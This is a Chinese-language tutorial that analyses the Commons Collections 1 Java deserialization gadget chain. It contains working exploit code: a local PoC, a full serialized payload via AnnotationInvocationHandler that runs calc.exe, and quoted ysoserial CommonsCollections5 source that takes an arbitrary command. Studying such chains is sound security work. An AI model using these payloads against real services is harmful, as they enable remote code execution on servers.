CommonsCollections1 反序列化链分析
参考文章
Java反序列化漏洞分析 (qq.com)
Java反序列化漏洞分析 - 先知社区 (aliyun.com)
JAVA反序列化 - Commons-Collections组件 - 先知社区 (aliyun.com)
玩转ysoserial-CommonsCollection的七种利用方式分析 (qq.com)
浅显易懂的JAVA反序列化入门 - 先知社区 (aliyun.com)
一、从payload的角度分析
1、本地poc
Apache Commons Collections反序列化漏洞的主要问题在于Transformer这个接口类,Transformer类可以满足固定的类型转化需求,其转化函数可以自定义实现,漏洞点就在这里。
目前已知实现了
Transformer
接口的类,如下所示。而在Apache Commons Collections反序列漏洞中,会使用到ChainedTransformer
、ConstantTransformer
、InvokerTransformer
这三个类,这些类的具体作用我们在下面结合POC来看。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Test1 {
public static void main(String[] args) {
// 1.
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
// 2.
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 3.
HashMap hashMap = new HashMap();
hashMap.put("key", "value");
Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
Map.Entry next = (Map.Entry) decorate.entrySet().iterator().next();
// 4.
next.setValue("test");
}
}
该POC可以分成四部分来分析:
创建transformer数组,构建漏洞核心利用代码
将transformers数组存入ChainedTransformer类
创建Map,给予map数据转换链
触发漏洞利用链,利用漏洞
2、POC流程分析
2.1 创建transformer数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
这里创建了个Transformer
类型的数组,其中创建了四个对象,这四个对象分别使用了ConstantTransformer
和InvokerTransformer
两个类。
ConstanTransformer
:把一个对象转换为常量并返回
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param constantToReturn the constant to return each time
*/
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
InvokerTransformer
:通过反射创建一个对象并返回
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
2.2 将transformers数组存入ChainedTransformer类
创建一个ChainedTeansformer
对象并将刚才创建的transformers
传入其中
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ChainedTransformer
:将传入的transformers
转换器链接在一起,并依次对象依次的进行转换。
2.3 创建Map,给予map数据转换链
HashMap hashMap = new HashMap();
hashMap.put("key", "value");
Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
Map.Entry next = (Map.Entry) decorate.entrySet().iterator().next();
先是创建Map类,添加了一组数据("key", "value")
接着是给与map实现类的数据转换链。而在Apache Commons Collections中实现了TransformedMap类,该类可以在一个元素被添加/删除/或是被修改时,会调用transform
方法自动进行特定的修饰变换,具体的变换逻辑由Transformer
类定义。即就是当数据发生改变时,可以进行一些提前设定好的操作
在TransformedMap.decorate
中传入了三个参数,第一个参数为刚才创建的Map调用了父类AbstractInputCheckedMapDecorator
的构造函数,被保存为了this.map
第二个参数传入的是null,第三个参数为传入的
chainedTransformer
被初始化为this.valueTransformer
的变量。然后获取
outerMap
的第一个键值对(key,value),然后转化成Map.Entry
形式。最后利用Map.Entry取得第一个值,调用修改值的函数,触发下面的setValue( )代码。
3、漏洞触发
续接上文继续跟入setValue进行分析,首先会进入AbstractInputCheckedMapDecorator
类,在这会对传入的值进行checkSetValue
继续跟进setValue的parent.checkSetValue会进入到TransoformedMap类
这里的valueTransformer就是最一开始我们创建的chainedTransformer对象,其中传入了transformers数组。
继续跟进是ChainedTransformer中的transform方法,这里对我们传入的transformers数组进行了遍历,先调用1次ConstantTransformer类,再调用3次InvokerTransformer类。需要注意在数组的循环中,前一次
transform
函数的返回值,会作为下一次transform
函数的object
参数输入。3.1 第一次循环
首先遍历的是transformers中的ConstantTransformer,跟进看一下具体是怎么处理的
调用了ConstantTransformer中的transform方法将传入的Runtime.class转换为iConstant变量,并将返回值作为下一次transform函数的object参数输入。
3.2 第二次循环
调用InvokerTransformer中的transform方法,这个方法很明显的就是调用了反射机制
在InvokerTransformer的构造函数中需要先传入三个参数
- 传入的方法名,类型为字符串
- 方法的参数类型,类型为Class数组
- 具体传入的数值,类型为Object数组
这里回想一下上一部处理中将java.Lang.Runtime作为值传入了这里,所以这一部分也就相当于如下的代码:method = input.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class).invoke("java.Lang.Runtime", new Object[] {"getRuntime", new Class[0]});
即java.Lang.Runtime.getMethod("getRuntime",null),返回一个Runtime.getRuntime()方法,相当于产生一个字符串,但还没有执行
"Rumtime.getRuntime( );"
。3.3 第三次循环
这里跟第二次循环一样,同样进入到InvokerTransformer类的transform()方法,input为上次循环的返回值Runtime.getRuntime()。method = input.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class }).invoke("Runtime.getRuntime()", new Object[] {null, new Object[0]});
即Runtime.getRuntime().invoke(null),那么会返回一个Runtime对象实例。相当于执行了完成了:
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
3.4 第四次循环
同样进入到InvokerTransformer类的transform()方法,input为上次循环的返回值Runtime.getRuntime().invoke(null)method = input.getClass().getMethod("exec", new Class[] {String.class }).invoke("runtime", new Object[] {"calc.exe"});
即Runtime.getRuntime( ).exec("calc.exe"),至此成功完成漏洞利用链,执行系统命令语句,触发漏洞。
二、最终Payload
目前的POC只是被执行了,我们要利用此漏洞,就需要通过网络传输payload,在服务端对我们传过去的payload进行反序列时执行代码。而且该POC的关键依赖于Map中某一项去调用setValue( ) ,而这完全不可控。
因此就需要寻找一个可序列化类,该类重写了
readObject( )
方法,并且在readObject( )
中进行了setValue( )
操作,且这个Map变量是可控的。需要注意的时,在java中如果重写了某个类的方法,就会优先调用经过修改后的方法。在java中,确实存在一个类
AnnotationInvocationHandler
,该类重写了readObject( )
方法,并且执行了setValue( )
操作,且Map变量可控,如果可以将TransformedMap
装入这个AnnotationInvocationHandler
类,再传过去,服务端在对其进行反序列化操作时,就会触发漏洞。
最后利用的payload如下:package Serialize; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class ApacheSerialize implements Serializable { public static void main(String[] args) throws Exception{ //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作 Transformer transformerChain = new ChainedTransformer(transformers); //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict Map map = new HashMap(); map.put("value", "test"); //Map数据结构,转换后的Map /* TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。 第一个参数为待转化的Map对象 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空) 第三个参数为Map对象内的value要经过的转化方法。 */ //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null)); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); //反射机制调用AnnotationInvocationHandler类的构造函数 //forName 获得类名对应的Class对象 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通过反射调用私有的的结构:私有方法、属性、构造器 //指定构造器 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); //取消构造函数修饰符限制,保证构造器可访问 ctor.setAccessible(true); //获取AnnotationInvocationHandler类实例 //调用此构造器运行时类的对象 Object instance=ctor.newInstance(Target.class, transformedMap); //序列化 FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(instance); objectOutputStream.close(); //反序列化 FileInputStream fileInputStream = new FileInputStream("serialize.txt"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Object result = objectInputStream.readObject(); objectInputStream.close(); System.out.println(result); } }
简单的分析调试一下这个payload,其他的部分其实没怎么变,主要的变化是通过反射调用了AnnotationInvocationHandler
该类中重写的readObject方法在被调用的时候将map转换为map.Enrty,并在这其中同时也调用了steValue方法,所以我们只需要将transformedMap装入AnnotationInvocationHandler再进行传输就可以不用考虑远程服务是否进行SetValue。private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
实际效果:
但是该方法只能在jdk7中使用,应为在jdk8中的AnnotationInvocationHandler.readObject方法做出了修改:private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { GetField var2 = var1.readFields(); Class var3 = (Class)var2.get("type", (Object)null); Map var4 = (Map)var2.get("memberValues", (Object)null); AnnotationType var5 = null; try { var5 = AnnotationType.getInstance(var3); } catch (IllegalArgumentException var13) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var6 = var5.memberTypes(); LinkedHashMap var7 = new LinkedHashMap(); String var10; Object var11; for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { Entry var9 = (Entry)var8.next(); var10 = (String)var9.getKey(); var11 = null; Class var12 = (Class)var6.get(var10); if (var12 != null) { var11 = var9.getValue(); if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10)); } } } AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7); }
他这里干脆不用setValue了。这该如何解决呢,我们可以去看一下在ysoserial中的cc1链是什么样的
package ysoserial.payloads; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import javax.management.BadAttributeValueExpException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */ /* This only works in JDK 8u76 and WITHOUT a security manager https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 */ @SuppressWarnings({"rawtypes", "unchecked"}) @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER }) public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> { public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections5.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isBadAttrValExcReadObj(); } }
这里使用了BadAttributeValueExpException来代替AnnotationInvocationHandler,但这其实也就是CC5的链子了。